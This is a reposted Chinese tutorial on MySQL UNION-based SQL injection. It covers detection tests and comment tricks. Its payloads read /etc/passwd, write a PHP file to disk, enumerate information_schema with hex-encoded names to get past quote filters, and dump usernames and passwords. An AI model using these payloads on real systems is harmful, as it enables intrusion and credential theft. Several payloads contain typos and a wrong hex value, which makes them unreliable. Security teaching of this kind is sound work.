欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

sql注入-union select

发布时间:2025/3/21 编程问答 31 豆豆
生活随笔 收集整理的这篇文章主要介绍了 sql注入-union select 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

什么是SQL注入

SQL注入(Sql Injection )

  • 是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
  • 这些参数传递给后台的SQL数据库服务器加以解析并执行
  • 哪里存在SQL注入?

    • GET
    • POST
    • HTTP头部注入
    • Cookie注入

    任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

    SQL注入的分类

  • 根据SQL数据类型分类
    • 整型注入
    • 字符串类型注入
  • 根据注入的语法分类
    • UNION query SQL injection(可联合查询注入)
    • Error-based SQL injection(报错型注入)
    • Boolean-based blind SQL injection(布尔型注入)
    • Time-based blind SQL injection(基于时间延迟注入)
    • Stacked queries SQL injection(可多语句查询注入)

    如何去判断SQL注入漏洞

    • and 1=1 / and 1=2 回显页面不同(整形判断)
    • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
    • \ (转义符)
    • -1/+1 回显下一个或上一个页面(整型判断)
    • and sleep(5) (判断页面返回时间)

    MySQL数据库的特性

    MySQL中3种注释风格
    • # (url编码为%23)

    • – (–后边要跟上一个或多个空格 --+)

    • /* … */

    • /*! … */ 内联注释

      select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显示from)

    MySQL函数利用
    常用函数
    • user()
    • database()
    • @@version
    • session_user()
    • @@basedir
    • @@datadir
    • @@version_compile_os
    load_file( )函数 读文件操作

    前提

    • 知道文件绝对路径
    • 能够使用union查询
    • 对web目录有写权限

    UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
    UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

    into outfile( )写文件操作

    前提

    • 文件名必须全路径(绝对路径),
    • 用户必须有写文件的权限
    • 没有对 ‘ 引号过滤

    SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

    连接字符串函数
    • concat(str1,str2)
    • concat_ws(separator, str1,str2…)
    • group_concat(str1,str2…)
    MySQL中information_scheme库

    SCHEMATA表
    字段:SCHEMA_NAME
    TABLES表
    字段:TABLE_SCHEMA, TABLE_NAME
    COLUMNS表
    字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

    MySQL中UNION规则
    • UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
    • UNION中的每个查询必须包含相同的列。
    • UNION会从查询结果集中自动去除了重复行。
    • UNION query SQl injection

    利用前提

  • 页面上有显示位

    优点:
    方便、快捷、易于利用
    缺点:
    需要显示位

  • 步骤

  • 判断列数

    order by 10
    order by 20
    order by 15

  • 判断显示位

    url?id=-1 union select 1,2,3,4,5

  • 获取当数据库名称和当前连接数据库的用户

    url?id=-1 union select 1,2,databaes(),4,5
    url?id=-1 union select 1,2,user(),4,5

  • 列出所有数据库

    limit 一个一个打印出来库名
    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
    group_concat 一次性全部显示
    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

  • 列出(数据库:test)中所有的表

    limit 一个一个打印出来字段名
    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
    limit 0,1
    group_concat 一次性全部显示
    select group_concat(TABLE_NAME) from information_schema.TABLES where
    TABLE_SCHEMA=0x674657374
    注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

  • 列出(数据库:test 表:admin )中所有的字段

    limit 一个一个打印出来
    select COLUMN_NAME from information_schema.COLUMNS where
    TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
    group_concat 一次性全部显示
    select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
    TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

  • 列出(数据库:test 表:admin )中的数据

    limit 一个一个打印出来
    select username,passwd from test.admin limit 0,1
    group_concat 把 一次性全部打印
    select group_concat(concat(username,0x20,passwd)) from test.admin
    network

  • 总结

    以上是生活随笔为你收集整理的sql注入-union select的全部内容,希望文章能够帮你解决所遇到的问题。

    如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。